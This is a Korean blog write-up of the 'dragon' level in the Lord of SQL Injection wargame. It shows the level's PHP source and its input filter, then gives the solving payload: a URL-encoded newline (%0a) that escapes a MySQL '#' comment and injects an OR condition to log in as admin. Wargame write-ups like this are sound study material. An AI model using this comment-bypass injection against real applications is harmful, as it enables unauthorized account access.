[LOS] dragon

Yennytime·2023년 1월 15일
0

Lord of SQL Injection

목록 보기
8/20
post-thumbnail

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

🔹 $_GET[pw] 파라미터 필터링

prob, _, ., (), /i (대소문자를 구분하지 않음)


2.

$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
if($result['id'] == 'admin') solve("dragon");

id=guest로 고정되어있지만 #로 주석처리가 되어있다.
id=admin일 경우, 성공적으로 출력할 수 있다는 것을 알 수 있다.


🔺 풀이 과정

$query = "select id from prob_dragon where id='guest'# 
and pw='' or id='admin'";

id='geust'#하고 그 뒤에 문자열이 지워지기 때문에, \n을 넣어 그 다음줄에 입력한 구문이 이어질 수 있도록 입력해주면 될 것 같다.

$query = "select id from prob_dragon where (id=`guest` and pw=``) 
or id=`admin`;

\n의 URL encoding은 %0a이다.

  1. pw=%0a and pw='' || id='admin

profile
It's Yennytime💙

0개의 댓글